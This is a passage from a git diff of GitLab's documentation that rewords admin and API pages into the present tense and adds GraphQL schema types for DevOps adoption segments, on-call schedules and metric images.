the following items: @@ -1086,8 +1141,8 @@ Be sure to note the following items: [repository storage paths](../repository_storage_paths.md). - A Gitaly server can host one or more storage paths. - A GitLab server can use one or more Gitaly server nodes. -- Gitaly addresses must be specified to be correctly resolvable for _all_ - Gitaly clients. +- Gitaly addresses must be specified to be correctly resolvable for all Gitaly + clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to @@ -1116,8 +1171,8 @@ On each node: 1. [Download and install](https://about.gitlab.com/install/) the Omnibus GitLab package of your choice. Be sure to follow _only_ installation steps 1 and 2 on the page, and _do not_ provide the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure the storage paths, enable - the network listener, and configure the token: +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md index 8816d0eecf4..54f3eca204b 100644 --- a/doc/administration/reference_architectures/index.md +++ b/doc/administration/reference_architectures/index.md @@ -151,7 +151,27 @@ is recommended. instance to other geographical locations as a read-only fully operational instance that can also be promoted in case of disaster. -## Configuring select components with Cloud Native Helm +## Deviating from the suggested reference architectures + +As a general rule of thumb, the further away you move from the Reference Architectures, +the harder it will be get support for it. With any deviation, you're introducing +a layer of complexity that will add challenges to finding out where potential +issues might lie. + +The reference architectures use the official GitLab Linux packages (Omnibus +GitLab) to install and configure the various components (with one notable exception being the suggested select Cloud Native installation method described below). The components are +installed on separate machines (virtualized or bare metal), with machine hardware +requirements listed in the "Configuration" column and equivalent VM standard sizes listed +in GCP/AWS/Azure columns of each [available reference architecture](#available-reference-architectures). + +Running components on Docker (including Compose) with the same specs should be fine, as Docker is well known in terms of support. +However, it is still an additional layer and may still add some support complexities, such as not being able to run `strace` easily in containers. + +Other technologies, like [Docker swarm](https://docs.docker.com/engine/swarm/) +are not officially supported, but can be implemented at your own risk. In that +case, GitLab Support will not be able to help you. + +### Configuring select components with Cloud Native Helm We also provide [Helm charts](https://docs.gitlab.com/charts/) as a Cloud Native installation method for GitLab. For the reference architectures, select components can be set up in this diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md index 16e17458e10..74c6e3d23f7 100644 --- a/doc/administration/repository_storage_paths.md +++ b/doc/administration/repository_storage_paths.md @@ -50,7 +50,7 @@ storage2: > structure than Omnibus. In `gitlab.yml` you indicate the path for the > repositories, for example `/home/git/repositories`, while in Omnibus you > indicate `git_data_dirs`, which for the example above would be `/home/git`. -> Then, Omnibus will create a `repositories` directory under that path to use with +> Then, Omnibus creates a `repositories` directory under that path to use with > `gitlab.yml`. > > This little detail matters because while restoring a backup, the current @@ -90,8 +90,7 @@ This example uses NFS. We do not recommend using EFS for storage as it may impac 1. [Restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. NOTE: **Note:** -The [`gitlab_shell: repos_path` entry](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-9-stable/config/gitlab.yml.example#L457) in `gitlab.yml` will be -deprecated and replaced by `repositories: storages` in the future, so if you +We plan to replace [`gitlab_shell: repos_path` entry](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-9-stable/config/gitlab.yml.example#L457) in `gitlab.yml` with `repositories: storages`. If you are upgrading from a version prior to 8.10, make sure to add the configuration as described in the step above. After you make the changes and confirm they are working, you can remove the `repos_path` line. @@ -112,16 +111,15 @@ working, you can remove the `repos_path` line. Note that Omnibus stores the repositories in a `repositories` subdirectory of the `git-data` directory. -## Choose where new repositories will be stored +## Choose where new repositories are stored Once you set the multiple storage paths, you can choose where new repositories -will be stored under **Admin Area > Settings > Repository > -Repository storage > Storage nodes for new repositories**. +are stored in the Admin Area under **Settings > Repository > Repository storage > Storage nodes for new repositories**. Each storage can be assigned a weight from 0-100. When a new project is created, these -weights are used to determine the storage location the repository will be created on. +weights are used to determine the storage location the repository is created on.  Beginning with GitLab 8.13.4, multiple paths can be chosen. New repositories -will be randomly placed on one of the selected paths. +are randomly placed on one of the selected paths. diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md index d2d492c8f1a..2401dfa5812 100644 --- a/doc/administration/repository_storage_types.md +++ b/doc/administration/repository_storage_types.md @@ -19,7 +19,7 @@ locations that can be: - Accessed via [Gitaly](gitaly/index.md) on its own machine. In GitLab, this is configured in `/etc/gitlab/gitlab.rb` by the `git_data_dirs({})` -configuration hash. The storage layouts discussed here will apply to any shard +configuration hash. The storage layouts discussed here apply to any shard defined in it. The `default` repository shard that is available in any installations @@ -30,22 +30,22 @@ Anything discussed below is expected to be part of that folder. NOTE: **Note:** In GitLab 13.0, hashed storage is enabled by default and the legacy storage is -deprecated. Support for legacy storage will be removed in GitLab 14.0. +deprecated. Support for legacy storage is scheduled to be removed in GitLab 14.0. If you haven't migrated yet, check the [migration instructions](raketasks/storage.md#migrate-to-hashed-storage). The option to choose between hashed and legacy storage in the admin area has been disabled. Hashed storage is the storage behavior we rolled out with 10.0. Instead -of coupling project URL and the folder structure where the repository will be +of coupling project URL and the folder structure where the repository is stored on disk, we are coupling a hash, based on the project's ID. This makes the folder structure immutable, and therefore eliminates any requirement to synchronize state from URLs to disk structure. This means that renaming a group, -user, or project will cost only the database transaction, and will take effect +user, or project costs only the database transaction, and takes effect immediately. The hash also helps to spread the repositories more evenly on the disk, so the -top-level directory will contain less folders than the total amount of top-level +top-level directory contains fewer folders than the total number of top-level namespaces. The hash format is based on the hexadecimal representation of SHA256: @@ -64,7 +64,7 @@ by another folder with the next 2 characters. They are both stored in a special ### Translating hashed storage paths Troubleshooting problems with the Git repositories, adding hooks, and other -tasks will require you translate between the human readable project name +tasks requires you translate between the human readable project name and the hashed storage path. #### From project name to hashed path @@ -102,7 +102,7 @@ To translate from a hashed storage path to a project name: ProjectRepository.find_by(disk_path: '@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9').project ``` -The quoted string in that command is the directory tree you'll find on your +The quoted string in that command is the directory tree you can find on your GitLab server. For example, on a default Omnibus installation this would be `/var/opt/gitlab/git-data/repositories/@hashed/b1/7e/b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9.git` with `.git` from the end of the directory name removed. @@ -135,7 +135,7 @@ when housekeeping is run on the source project. ### Hashed storage coverage migration -Files stored in an S3 compatible endpoint will not have the downsides +Files stored in an S3-compatible endpoint do not have the downsides mentioned earlier, if they are not prefixed with `#{namespace}/#{project_name}`, which is true for CI Cache and LFS Objects. @@ -183,7 +183,7 @@ NOTE: **Deprecated:** In GitLab 13.0, hashed storage is enabled by default and the legacy storage is deprecated. If you haven't migrated yet, check the [migration instructions](raketasks/storage.md#migrate-to-hashed-storage). -Support for legacy storage will be removed in GitLab 14.0. If you're on GitLab +Support for legacy storage is scheduled to be removed in GitLab 14.0. If you're on GitLab 13.0 and later, switching new projects to legacy storage is not possible. The option to choose between hashed and legacy storage in the admin area has been disabled. @@ -199,7 +199,7 @@ easy for Administrators to find where the repository is stored. On the other hand this has some drawbacks: -Storage location will concentrate huge amount of top-level namespaces. The +Storage location concentrates a huge number of top-level namespaces. The impact can be reduced by the introduction of [multiple storage paths](repository_storage_paths.md). @@ -209,6 +209,6 @@ an old removed or renamed project sharing the same URL. This means that `mygroup/myproject` from your backup may not be the same original project that is at that same URL today. -Any change in the URL will need to be reflected on disk (when groups / users or +Any change in the URL needs to be reflected on disk (when groups / users or projects are renamed). This can add a lot of load in big installations, especially if using any type of network based filesystem. diff --git a/doc/administration/repository_storages.md b/doc/administration/repository_storages.md index af7a385e5a0..93d0ee3cac9 100644 --- a/doc/administration/repository_storages.md +++ b/doc/administration/repository_storages.md @@ -3,3 +3,6 @@ redirect_to: 'repository_storage_paths.md' --- This document was moved to [another location](repository_storage_paths.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/scaling/index.md b/doc/administration/scaling/index.md index 748373c8941..4f934646ed6 100644 --- a/doc/administration/scaling/index.md +++ b/doc/administration/scaling/index.md @@ -3,3 +3,6 @@ redirect_to: ../reference_architectures/index.md --- This document was moved to [another location](../reference_architectures/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md index 55e166d2bf7..cf30090d45c 100644 --- a/doc/administration/terraform_state.md +++ b/doc/administration/terraform_state.md @@ -68,7 +68,7 @@ The following settings are: | Setting | Description | Default | |---------|-------------|---------| | `enabled` | Enable/disable object storage | `false` | -| `remote_directory` | The bucket name where Terraform state files will be stored | | +| `remote_directory` | The bucket name where Terraform state files are stored | | | `connection` | Various connection options described below | | ### S3-compatible connection settings diff --git a/doc/analytics/README.md b/doc/analytics/README.md index c88f6b4c7cc..7c732f48ba8 100644 --- a/doc/analytics/README.md +++ b/doc/analytics/README.md @@ -3,3 +3,6 @@ redirect_to: '../user/group/index.md#user-contribution-analysis' --- This document was moved to [another location](../user/group/index.md#user-contribution-analysis) + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/analytics/contribution_analytics.md b/doc/analytics/contribution_analytics.md index e36f55071a4..b9a52d9ca68 100644 --- a/doc/analytics/contribution_analytics.md +++ b/doc/analytics/contribution_analytics.md @@ -3,3 +3,6 @@ redirect_to: '../user/group/contribution_analytics/index.md' --- This document was moved to [another location](../user/group/contribution_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/README.md b/doc/api/README.md index 3933431407c..3226b699932 100644 --- a/doc/api/README.md +++ b/doc/api/README.md @@ -97,7 +97,7 @@ HTTP/2 200 This can help you investigate an unexpected response. -### API Request that includes the exit code +### API request that includes the exit code If you want to expose the HTTP exit code, include the `--fail` option: @@ -110,8 +110,8 @@ The HTTP exit code can help you diagnose the success or failure of your REST cal ## Authentication -Most API requests require authentication, or will return public data only when -authentication isn't provided. For cases where it isn't required, this will be +Most API requests require authentication, or only return public data when +authentication isn't provided. For cases where it isn't required, this is mentioned in the documentation for each individual endpoint (for example, the [`/projects/:id` endpoint](projects.md#get-single-project)). @@ -133,7 +133,7 @@ to build applications or scripts that do so, the following options are available - [Impersonation tokens](#impersonation-tokens) - [Sudo](#sudo) -If authentication information is invalid or omitted, GitLab will return an error +If authentication information is invalid or omitted, GitLab returns an error message with a status code of `401`: ```json @@ -221,13 +221,13 @@ The token is valid as long as the job is running. ### Impersonation tokens Impersonation tokens are a type of [personal access token](../user/profile/personal_access_tokens.md) -that can only be created by an admin for a specific user. They are a great fit +that can only be created by an administrator for a specific user. They are a great fit if you want to build applications or scripts that authenticate with the API as a specific user. They're an alternative to directly using the user's password or one of their personal access tokens, and to using the [Sudo](#sudo) feature, as the user's -(or admin's, in the case of Sudo) password or token may not be known, or may +(or administrator's in the case of Sudo) password or token may not be known, or may change over time. For more information, see the [users API](users.md#create-an-impersonation-token) @@ -292,7 +292,7 @@ message with a status code of `403`: } ``` -If an access token without the `sudo` scope is provided, an error message will +If an access token without the `sudo` scope is provided, an error message is be returned with a status code of `403`: ```json @@ -303,7 +303,7 @@ be returned with a status code of `403`: } ``` -If the sudo user ID or username cannot be found, an error message will be +If the sudo user ID or username cannot be found, an error message is returned with a status code of `404`: ```json @@ -357,7 +357,7 @@ The following table shows the possible return codes for API requests. | `204 No Content` | The server has successfully fulfilled the request and that there is no additional content to send in the response payload body. | | `201 Created` | The `POST` request was successful and the resource is returned as JSON. | | `304 Not Modified` | Indicates that the resource has not been modified since the last request. | -| `400 Bad Request` | A required attribute of the API request is missing, e.g., the title of an issue is not given. | +| `400 Bad Request` | A required attribute of the API request is missing. For example, the title of an issue is not given. | | `401 Unauthorized` | The user is not authenticated, a valid [user token](#authentication) is necessary. | | `403 Forbidden` | The request is not allowed. For example, the user is not allowed to delete a project. | | `404 Not Found` | A resource could not be accessed. For example, an ID for a resource could not be found. | @@ -411,7 +411,7 @@ of the issue with ID `8` which belongs to the project with ID `9`: curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2" ``` -The response will then be: +The response is: ```http HTTP/2 200 OK @@ -479,7 +479,7 @@ Status: 200 OK ``` CAUTION: **Deprecation:** -The `Links` header will be removed in GitLab 14.0 to be aligned with the +The `Links` header is scheduled to be removed in GitLab 14.0 to be aligned with the [W3C `Link` specification](https://www.w3.org/wiki/LinkHeader). The `Link` header was [added in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33714) and should be used instead. @@ -525,8 +525,8 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git ``` Path parameters that are required to be URL-encoded must be followed. If not, -it won't match an API endpoint, and will respond with a 404. If there's -something in front of the API (for example, Apache), ensure that it won't decode +it doesn't match an API endpoint and responds with a 404. If there's +something in front of the API (for example, Apache), ensure that it doesn't decode the URL-encoded path parameters. ## Namespaced path encoding @@ -657,7 +657,7 @@ Such errors appear in the following cases: - An attribute did not pass the validation (for example, the user bio is too long). -When an attribute is missing, you will get something like: +When an attribute is missing, you receive something like: ```http HTTP/1.1 400 Bad Request @@ -667,7 +667,7 @@ Content-Type: application/json } ``` -When a validation error occurs, error messages will be different. They will hold +When a validation error occurs, error messages are different. They hold all details of validation errors: ```http @@ -706,7 +706,7 @@ follows: ## Unknown route -When you attempt to access an API URL that doesn't exist, you will receive +When you attempt to access an API URL that doesn't exist, you receive a 404 Not Found message. ```http diff --git a/doc/api/appearance.md b/doc/api/appearance.md index 07d26b1a643..c670538f5ca 100644 --- a/doc/api/appearance.md +++ b/doc/api/appearance.md @@ -54,7 +54,7 @@ PUT /application/appearance | --------------------------------- | ------- | -------- | ----------- | | `title` | string | no | Instance title on the sign in / sign up page | `description` | string | no | Markdown text shown on the sign in / sign up page -| `logo` | mixed | no | Instance image used on the sign in / sign up page +| `logo` | mixed | no | Instance image used on the sign in / sign up page. See [Change logo](#change-logo) | `header_logo` | mixed | no | Instance image used for the main navigation bar | `favicon` | mixed | no | Instance favicon in `.ico` or `.png` format | `new_project_guidelines` | string | no | Markdown text shown on the new project page @@ -87,3 +87,36 @@ Example response: "email_header_and_footer_enabled": true } ``` + +## Change logo + +Upload a logo to your GitLab instance. + +To upload an avatar from your file system, use the `--form` argument. This causes +cURL to post data using the header `Content-Type: multipart/form-data`. The +`file=` parameter must point to an image file on your file system and be +preceded by `@`. + +```plaintext +PUT /application/appearance +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | -------------- | +| `logo` | string | Yes | File to upload | + +Example request: + +```shell +curl --location --request PUT "https://gitlab.example.com/api/v4/application/appearance?data=image/png" \ +--header "Content-Type: multipart/form-data" \ +--header "PRIVATE-TOKEN: <your_access_token>" \ +--form "logo=@/path/to/logo.png" +``` + +Returned object: + +```json +{ + "logo":"/uploads/-/system/appearance/logo/1/logo.png" +``` diff --git a/doc/api/avatar.md b/doc/api/avatar.md index aec1ba67d45..6af00641a41 100644 --- a/doc/api/avatar.md +++ b/doc/api/avatar.md @@ -16,7 +16,7 @@ If: - No user with the given public email address is found, results from external avatar services are returned. -- Public visibility is restricted, response will be `403 Forbidden` when unauthenticated. +- Public visibility is restricted, response is `403 Forbidden` when unauthenticated. NOTE: **Note:** This endpoint can be accessed without authentication. diff --git a/doc/api/build_triggers.md b/doc/api/build_triggers.md index bad7a655d08..13adf949981 100644 --- a/doc/api/build_triggers.md +++ b/doc/api/build_triggers.md @@ -3,3 +3,6 @@ redirect_to: 'pipeline_triggers.md' --- This document was moved to [another location](pipeline_triggers.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/builds.md b/doc/api/builds.md index 0154d35cab6..b7b61e853a8 100644 --- a/doc/api/builds.md +++ b/doc/api/builds.md @@ -3,3 +3,6 @@ redirect_to: 'jobs.md' --- This document was moved to [another location](jobs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/custom_attributes.md b/doc/api/custom_attributes.md index 76c8474ee95..2b0c06ad681 100644 --- a/doc/api/custom_attributes.md +++ b/doc/api/custom_attributes.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Every API call to custom attributes must be authenticated as administrator. Custom attributes are currently available on users, groups, and projects, -which will be referred to as "resource" in this documentation. +which is referred to as "resource" in this documentation. ## List custom attributes @@ -74,7 +74,7 @@ Example response: ## Set custom attribute -Set a custom attribute on a resource. The attribute will be updated if it already exists, +Set a custom attribute on a resource. The attribute is updated if it already exists, or newly created otherwise. ```plaintext diff --git a/doc/api/deploy_key_multiple_projects.md b/doc/api/deploy_key_multiple_projects.md index 85df972746e..16ce201c1c0 100644 --- a/doc/api/deploy_key_multiple_projects.md +++ b/doc/api/deploy_key_multiple_projects.md @@ -3,3 +3,6 @@ redirect_to: deploy_keys.md#adding-deploy-keys-to-multiple-projects --- This document was moved to [another location](deploy_keys.md#adding-deploy-keys-to-multiple-projects). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/features.md b/doc/api/features.md index bbf86eca490..f94f6b36ce2 100644 --- a/doc/api/features.md +++ b/doc/api/features.md @@ -37,7 +37,8 @@ Example response: "key": "boolean", "value": false } - ] + ], + "definition": null }, { "name": "my_user_feature", @@ -47,7 +48,15 @@ Example response: "key": "percentage_of_actors", "value": 34 } - ] + ], + "definition": { + "name": "my_user_feature", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880", + "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905", + "group": "group::ci", + "type": "development", + "default_enabled": false + } }, { "name": "new_library", @@ -57,7 +66,45 @@ Example response: "key": "boolean", "value": true } - ] + ], + "definition": null + } +] +``` + +## List all feature definitions + +Get a list of all feature definitions. + +```plaintext +GET /features/definitions +``` + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/features/definitions" +``` + +Example response: + +```json +[ + { + "name": "api_kaminari_count_with_limit", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23931", + "rollout_issue_url": null, + "milestone": "11.8", + "type": "ops", + "group": "group::ecosystem", + "default_enabled": false + }, + { + "name": "marginalia", + "introduced_by_url": null, + "rollout_issue_url": null, + "milestone": null, + "type": "ops", + "group": null, + "default_enabled": false } ] ``` @@ -81,6 +128,7 @@ POST /features/:name | `user` | string | no | A GitLab username | | `group` | string | no | A GitLab group's path, for example `gitlab-org` | | `project` | string | no | A projects path, for example `gitlab-org/gitlab-foss` | +| `force` | boolean | no | Skip feature flag validation checks, ie. YAML definition | Note that you can enable or disable a feature for a `feature_group`, a `user`, a `group`, and a `project` in a single API call. @@ -104,7 +152,15 @@ Example response: "key": "percentage_of_time", "value": 30 } - ] + ], + "definition": { + "name": "my_user_feature", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880", + "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905", + "group": "group::ci", + "type": "development", + "default_enabled": false + } } ``` @@ -133,7 +189,15 @@ Example response: "key": "percentage_of_actors", "value": 42 } - ] + ], + "definition": { + "name": "my_user_feature", + "introduced_by_url": "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40880", + "rollout_issue_url": "https://gitlab.com/gitlab-org/gitlab/-/issues/244905", + "group": "group::ci", + "type": "development", + "default_enabled": false + } } ``` diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index 8501e76b5aa..b44b7d290a2 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -41,11 +41,11 @@ The examples below: - Can be run directly against GitLab 11.0 or later, though some of the types and fields may not be supported in older versions. -- Will work against GitLab.com without any further setup. Make sure you are signed in and +- Works against GitLab.com without any further setup. Make sure you are signed in and navigate to the [GraphiQL Explorer](https://gitlab.com/-/graphql-explorer). If you want to run the queries locally, or on a self-managed instance, -you will need to either: +you must either: - Create the `gitlab-org` group with a project called `graphql-sandbox` under it. Create several issues within the project. @@ -133,7 +133,7 @@ More about queries: ### Authorization Authorization uses the same engine as the GitLab application (and GitLab.com). So if you've signed in to GitLab -and use GraphiQL, all queries will be performed as you, the signed in user. For more information, see the +and use GraphiQL, all queries are performed as you, the signed in user. For more information, see the [GitLab API documentation](../README.md#authentication). ### Mutations @@ -173,7 +173,7 @@ mutation { ``` Example: Add a comment to the issue (we're using the ID of the `GitLab.com` issue - but -if you're using a local instance, you'll need to get the ID of an issue you can write to). +if you're using a local instance, you must get the ID of an issue you can write to). ```graphql mutation { @@ -314,9 +314,9 @@ Pagination is a way of only asking for a subset of the records (say, the first 1 If we want more of them, we can make another request for the next 10 from the server (in the form of something like "please give me the next 10 records"). -By default, GitLab's GraphQL API will return only the first 100 records of any collection. +By default, GitLab's GraphQL API returns only the first 100 records of any collection. This can be changed by using `first` or `last` arguments. Both arguments take a value, -so `first: 10` will return the first 10 records, and `last: 10` the last 10 records. +so `first: 10` returns the first 10 records, and `last: 10` the last 10 records. Example: Retrieve only the first 2 issues (slicing). The `cursor` field gives us a position from which we can retrieve further records relative to that one. diff --git a/doc/api/graphql/reference/gitlab_schema.graphql b/doc/api/graphql/reference/gitlab_schema.graphql index 58f7d8ecdcf..d6c3967e4d5 100644 --- a/doc/api/graphql/reference/gitlab_schema.graphql +++ b/doc/api/graphql/reference/gitlab_schema.graphql @@ -933,6 +933,11 @@ type AlertTodoCreatePayload { } """ +Identifier of Analytics::DevopsAdoption::Segment +""" +scalar AnalyticsDevopsAdoptionSegmentID + +""" User availability status """ enum AvailabilityEnum { @@ -3895,6 +3900,46 @@ type CreateCustomEmojiPayload { } """ +Autogenerated input type of CreateDevopsAdoptionSegment +""" +input CreateDevopsAdoptionSegmentInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The array of group IDs to set for the segment + """ + groupIds: [GroupID!] + + """ + Name of the segment + """ + name: String! +} + +""" +Autogenerated return type of CreateDevopsAdoptionSegment +""" +type CreateDevopsAdoptionSegmentPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The segment after mutation + """ + segment: DevopsAdoptionSegment +} + +""" Autogenerated input type of CreateDiffNote """ input CreateDiffNoteInput { @@ -5299,6 +5344,36 @@ type DeleteAnnotationPayload { } """ +Autogenerated input type of DeleteDevopsAdoptionSegment +""" +input DeleteDevopsAdoptionSegmentInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + ID of the segment + """ + id: AnalyticsDevopsAdoptionSegmentID! +} + +""" +Autogenerated return type of DeleteDevopsAdoptionSegment +""" +type DeleteDevopsAdoptionSegmentPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" The response from the AdminSidekiqQueuesDeleteJobs mutation """ type DeleteJobsResponse { @@ -7836,6 +7911,11 @@ type EpicIssue implements CurrentUserTodos & Noteable { ): LabelConnection """ + Metric images associated to the issue. + """ + metricImages: [MetricImage!] + + """ Milestone of the issue """ milestone: Milestone @@ -9084,17 +9164,17 @@ type Group { first: Int """ - The ID of the Iteration to look up + Global ID of the Iteration to look up. """ id: ID """ - The internal ID of the Iteration to look up + Internal ID of the Iteration to look up. """ iid: ID """ - Whether to include ancestor iterations. Defaults to true + Whether to include ancestor iterations. Defaults to true. """ includeAncestors: Boolean @@ -9111,7 +9191,7 @@ type Group { startDate: Time """ - Filter iterations by state + Filter iterations by state. """ state: IterationState @@ -9121,7 +9201,7 @@ type Group { timeframe: Timeframe """ - Fuzzy search by title + Fuzzy search by title. """ title: String ): IterationConnection @@ -10054,6 +10134,66 @@ An ISO 8601-encoded date """ scalar ISO8601Date +""" +Describes an incident management on-call schedule +""" +type IncidentManagementOncallSchedule { + """ + Description of the on-call schedule + """ + description: String + + """ + Internal ID of the on-call schedule + """ + iid: ID! + + """ + Name of the on-call schedule + """ + name: String! + + """ + Time zone of the on-call schedule + """ + timezone: String! +} + +""" +The connection type for IncidentManagementOncallSchedule. +""" +type IncidentManagementOncallScheduleConnection { + """ + A list of edges. + """ + edges: [IncidentManagementOncallScheduleEdge] + + """ + A list of nodes. + """ + nodes: [IncidentManagementOncallSchedule] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type IncidentManagementOncallScheduleEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: IncidentManagementOncallSchedule +} + type InstanceSecurityDashboard { """ Projects selected in Instance Security Dashboard @@ -10448,6 +10588,11 @@ type Issue implements CurrentUserTodos & Noteable { ): LabelConnection """ + Metric images associated to the issue. + """ + metricImages: [MetricImage!] + + """ Milestone of the issue """ milestone: Milestone @@ -13414,6 +13559,36 @@ type Metadata { version: String! } +""" +Represents a metric image upload +""" +type MetricImage { + """ + File name of the metric image + """ + fileName: String + + """ + File path of the metric image + """ + filePath: String + + """ + ID of the metric upload + """ + id: ID! + + """ + Internal ID of the metric upload + """ + iid: ID! + + """ + URL of the metric source + """ + url: String! +} + type MetricsDashboard { """ Annotations added to the dashboard @@ -13704,6 +13879,7 @@ type Mutation { . Available only when feature flag `custom_emoji` is enabled """ createCustomEmoji(input: CreateCustomEmojiInput!): CreateCustomEmojiPayload + createDevopsAdoptionSegment(input: CreateDevopsAdoptionSegmentInput!): CreateDevopsAdoptionSegmentPayload createDiffNote(input: CreateDiffNoteInput!): CreateDiffNotePayload createEpic(input: CreateEpicInput!): CreateEpicPayload createImageDiffNote(input: CreateImageDiffNoteInput!): CreateImageDiffNotePayload @@ -13723,6 +13899,7 @@ type Mutation { dastSiteTokenCreate(input: DastSiteTokenCreateInput!): DastSiteTokenCreatePayload dastSiteValidationCreate(input: DastSiteValidationCreateInput!): DastSiteValidationCreatePayload deleteAnnotation(input: DeleteAnnotationInput!): DeleteAnnotationPayload + deleteDevopsAdoptionSegment(input: DeleteDevopsAdoptionSegmentInput!): DeleteDevopsAdoptionSegmentPayload designManagementDelete(input: DesignManagementDeleteInput!): DesignManagementDeletePayload designManagementMove(input: DesignManagementMoveInput!): DesignManagementMovePayload designManagementUpload(input: DesignManagementUploadInput!): DesignManagementUploadPayload @@ -13773,6 +13950,7 @@ type Mutation { """ mergeRequestUpdate(input: MergeRequestUpdateInput!): MergeRequestUpdatePayload namespaceIncreaseStorageTemporarily(input: NamespaceIncreaseStorageTemporarilyInput!): NamespaceIncreaseStorageTemporarilyPayload + oncallScheduleCreate(input: OncallScheduleCreateInput!): OncallScheduleCreatePayload pipelineCancel(input: PipelineCancelInput!): PipelineCancelPayload pipelineDestroy(input: PipelineDestroyInput!): PipelineDestroyPayload pipelineRetry(input: PipelineRetryInput!): PipelineRetryPayload @@ -13781,6 +13959,7 @@ type Mutation { prometheusIntegrationUpdate(input: PrometheusIntegrationUpdateInput!): PrometheusIntegrationUpdatePayload promoteToEpic(input: PromoteToEpicInput!): PromoteToEpicPayload releaseCreate(input: ReleaseCreateInput!): ReleaseCreatePayload + releaseUpdate(input: ReleaseUpdateInput!): ReleaseUpdatePayload removeAwardEmoji(input: RemoveAwardEmojiInput!): RemoveAwardEmojiPayload @deprecated(reason: "Use awardEmojiRemove. Deprecated in 13.2") removeProjectFromSecurityDashboard(input: RemoveProjectFromSecurityDashboardInput!): RemoveProjectFromSecurityDashboardPayload @@ -13804,6 +13983,7 @@ type Mutation { updateBoardEpicUserPreferences(input: UpdateBoardEpicUserPreferencesInput!): UpdateBoardEpicUserPreferencesPayload updateBoardList(input: UpdateBoardListInput!): UpdateBoardListPayload updateContainerExpirationPolicy(input: UpdateContainerExpirationPolicyInput!): UpdateContainerExpirationPolicyPayload + updateDevopsAdoptionSegment(input: UpdateDevopsAdoptionSegmentInput!): UpdateDevopsAdoptionSegmentPayload updateEpic(input: UpdateEpicInput!): UpdateEpicPayload """ @@ -14349,6 +14529,56 @@ Identifier of Noteable scalar NoteableID """ +Autogenerated input type of OncallScheduleCreate +""" +input OncallScheduleCreateInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The description of the on-call schedule + """ + description: String + + """ + The name of the on-call schedule + """ + name: String! + + """ + The project to create the on-call schedule in + """ + projectPath: ID! + + """ + The timezone of the on-call schedule + """ + timezone: String! +} + +""" +Autogenerated return type of OncallScheduleCreate +""" +type OncallScheduleCreatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The on-call schedule + """ + oncallSchedule: IncidentManagementOncallSchedule +} + +""" Represents a package """ type Package { @@ -15420,6 +15650,31 @@ type Project { importStatus: String """ + Incident Management On-call schedules of the project + """ + incidentManagementOncallSchedules( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + 